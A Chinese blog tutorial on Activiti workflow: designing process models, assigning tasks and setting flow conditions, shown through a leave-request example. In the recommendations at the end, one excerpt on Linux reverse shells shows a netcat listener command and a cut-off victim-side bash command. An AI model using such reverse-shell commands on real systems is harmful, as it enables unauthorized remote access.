Activiti工作流的应用示例
1、新建流程模型
模型管理->模型工作区
点击“创建”后会立即跳转到“流程在线设计器”页面,请参考下一节
2、在线流程设计器
模型管理->模型工作区->编辑
3、设置流程属性
l 名称:流程定义名称
l 描述信息:流程定义描述
l 流程标识:流程定义KEY,对应procDefKey,用来标识一个流程
4、拖拽元素介绍
Start event:开始事件
End entit:结束事件
User task:用户任务活动
Service task:服务任务活动
Exclusive gateway:独家网关,排它网关通道,只能有一条分支执行,如if else
Parallel gateway:并行网关,并行网关通道,所有分支一块执行
更多介绍请参考:http://www.mossle.com/docs/activiti/#bpmnConstructs
5、流程发起人的流程变量
在开始节点的属性中设置“启动器”(流程发起人)的变量,例如:applyUserId
设置以后,在某个任务的属性中,可以设置参与者为${applyUserId},这样可以实现【谁发起谁执行】,请参考下图:
当发起人发起某个流程,在某个环节被驳回的时候,如果希望流程驳回到发起人,可使用方法。
6、表单概念
普通表单:每个节点的表单内容都写死在JSP或者HTML中。
动态表单:表单内容存放在流程定义文件中(包含在启动事件以及每个用户任务中)。
外置表单:每个用户任务对应一个单独的<b>.form</b>文件,和流程定义文件同时部署(打包为zip/bar文件)。
综合流程:可以查询到所有的流程(普通、动态、外置固定查询某些流程的表单,为了演示所以单独分开);综合流程的目的在于可以启动用户上传或者设计后部署的流程定义。
6、设置表单地址
l 全局表单:新建流程时或活动元素上未设置表单标识时调用的表单,位于开始事件属性中“表单标识”字段,指定表单访问地址。
l 活动表单:当前步骤使用的表单,使用活动节点属性“表单标识”字段。
7、设置流程参与者
在流程节点中,设置【任务分配】
l assignee:任务执行人,设置系统中的“登录名”(loginName)。
l candidateUsers:任务执行人,可以填写多个。
l candidateGroups:任务执行组,可以填写多个,设置系统中的“角色英文名(enname)”。
assignee和candidateUsers的区别是:assignee不需要签收任务,直接可执行任务;candidateUsers为竞争方式分配任务,被指定人待办中都有一条任务,谁先签收谁就获得任务的执行权。
参与者可指定流程变量(EL表达式),动态指定参与者,如:${processer}
8、设置流程流转的条件
选定流转线,在【流条件】中填写EL表达式,返回true或false。例如:
9、保存流程设计图
10、部署流程设计图
模型管理->模型工作区,点击【部署】
11、导出流程设计图
模型管理->模型工作区,可以导出BPMN、JSON、SVG格式的流程设计图
12、【请假流程】
使用softwareuser登陆
工作流程->请假申请,填写如下:
点击【申请】后,启动请假申请流程。
此时在流程办理->运行中的流程中,可以看到:
13、leaderuser待办任务
使用leaderuser用户登陆,它属于deptLeader用户组。deptLeader也就是【部门领导审批】任务分配的用户组。
点击工作流程->待办任务。可以看到未签收任务
点击【跟踪】可以看到流程目前进展情况。
14、leaderuser任务签收
leaderuser用户点击工作流程->流程办理->请假办理(普通),对任务进行签收。
15、leaderuser任务办理
leaderuser用户,进入流程办理->请假办理(普通),选中任务,点击【办理】
任务完成。
16、hruser待办任务
使用hruser登陆系统,hruser属于hr角色,是请假流程人事审批的任务分配组。
hruser登陆系统后,点击工作流程->待办任务,可以看到如下:
点击跟踪,可以看到目前流程进展情况。
17、hruser任务签收
hruser进入工作流程->流程办理->请假办理(普通),对任务进行签收
18、hruser任务办理
hruser进入工作流程->流程办理->请假办理(普通),对任务进行办理
同意以后,在工作流程->流程办理->运行中的流程(普通),可以看到:
19、请假最后一个环节,销假
使用softwareuser用户登录系统,他是请假者,销假的流程在设计图中分配给他自己。
注意以上2张图片applyUserId的变量。
softwareuser用户点击工作流程->流程办理->请假办理(普通),点击【办理】
填写实际请假开始时间和结束时间。
20、任务完成。
softwareuser用户点击工作流程->流程办理->已结束流程(普通),可以看到已完成的任务。
Activiti工作流的应用示例的更多相关文章
- Activiti工作流的应用示例 (官方guide项目方式)
转: Activiti工作流的应用示例 1.新建流程模型 模型管理->模型工作区 点击“创建”后会立即跳转到“流程在线设计器”页面,请参考下一节 2.在线流程设计器 模型管理->模型工作区 ...
- 深入了解Activiti工作流流程定义
深入了解Activiti工作流流程定义 2016-03-27| 发布: | 浏览: 2363 |保存PDF 部署流程定义 部署流程定义的流程: 1. 先获取流程引擎对象:在创建时会自动加载 class ...
- 手把手教你如何玩转Activiti工作流
手把手教你如何玩转Activiti工作流 置顶 2018年01月30日 19:51:36 Cs_hnu_scw 阅读数:24023 版权声明:本文为博主原创文章,未经博主允许不得转载. https ...
- Activiti工作流学习笔记一
Activiti工作流 一:Activiti第一天 1:工作流的概念 说明: 假设:这两张图就是华谊兄弟的请假流程图 图的组成部分: 人物:范冰冰冯小刚王中军 事件(动作):请假.批准.不批准 工作流 ...
- activiti工作流引擎
参考文章 Activiti-5.18.0与springMvc项目集成和activiti-explorer单独部署Web项目并与业务数据库关联方法(AutoEE_V2实现方式) https://blog ...
- activiti工作流的web流程设计器整合视频教程 SSM和独立部署
本视频为activiti工作流的web流程设计器整合视频教程 整合Acitiviti在线流程设计器(Activiti-Modeler 5.21.0 官方流程设计器) 本视频共讲了两种整合方式 1. 流 ...
- activiti工作流的web流程设计器整合视频教程 SSM 和 独立部署
本视频为activiti工作流的web流程设计器整合视频教程 整合Acitiviti在线流程设计器(Activiti-Modeler 5.21.0 官方流程设计器) 本视频共讲了两种整合方式 1. 流 ...
- Activiti工作流学习(三)Activiti工作流与spring集成
一.前言 前面Activiti工作流的学习,说明了Activiti的基本应用,在我们开发中可以根据实际的业务参考Activiti的API去更好的理解以及巩固.我们实际的开发中我们基本上都使用sprin ...
- activiti工作流的web流程设计器整合视频教程
本视频为activiti工作流的web流程设计器整合视频教程 整合Acitiviti在线流程设计器(Activiti-Modeler 5.21.0 官方流程设计器) 本视频共讲了两种整合方式 1. 流 ...
随机推荐
- linux 常用反弹shell小记
在渗透测试过程中由于防火墙和其它安全防御措施,很多服务器只能单向向外访问,不能被访问,我们常常需要反弹shell. 1.bash反弹shell 本地开启监听 nc -lvvp 受害主机命令 bash ...
- xlutils模块使用
python常用模块目录 1.xlutils 实现拷贝原文件 原表格: import xlrd from xlutils.copy import copy workbook = xlrd.open_w ...
- Final发布:文案+美工展示博客
此作业要求参见:https://edu.cnblogs.com/campus/nenu/2018fall/homework/2476 小组介绍 组长:付佳 组员:张俊余 李文涛 孙赛佳 田良 于洋 段 ...
- BETA随笔6/7
前言 我们居然又冲刺了·六 团队代码管理github 站立会议 队名:PMS 530雨勤(组长) 过去两天完成了哪些任务 新方案代码比之前的更简单,但是对场景的要求相应变高了,已经实现,误差感人 代码 ...
- unix网络编程——I/O多路复用之epoll
1. 基本概念 当程序进行IO时,如果数据尚未准备好,那么IO将处于阻塞状态.当某个进程有多个打开的文件,比如socket,那么其后的所有准备好读写的文件将受到阻塞的影响而不能操作.不借助线程,单一进 ...
- python字符串操作、文件操作,英文词频统计预处理
1.字符串操作: 解析身份证号:生日.性别.出生地等. 凯撒密码编码与解码 网址观察与批量生成 解析身份证号:生日.性别.出生地等 def function3(): print('请输入身份证号') ...
- angularJS1笔记-(2)-$watch方法监听变量的变化
html: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF ...
- CSS+JS笔记
CSS篇: 1.a标签去掉下划线 a { text-decoration:none; }
- JS面向对象(封装,继承)
在六月份找工作中,被问的最多的问题就是: js面向对象,继承,封装,原型链这些,你了解多少? 额,,,我怎么回答呢, 只能说,了解一些,不多不少,哈哈哈哈,当然,这是玩笑话. 不过之前学过java,来 ...
- “Unable to open kernel device \\.\Global\vmx86
启动vm中虚拟机中的时候,弹出窗口的时候,弹出窗口 Unable to open kernel device \\.\Global\vmx86;系统找不到指定的文件,Did you reboot af ...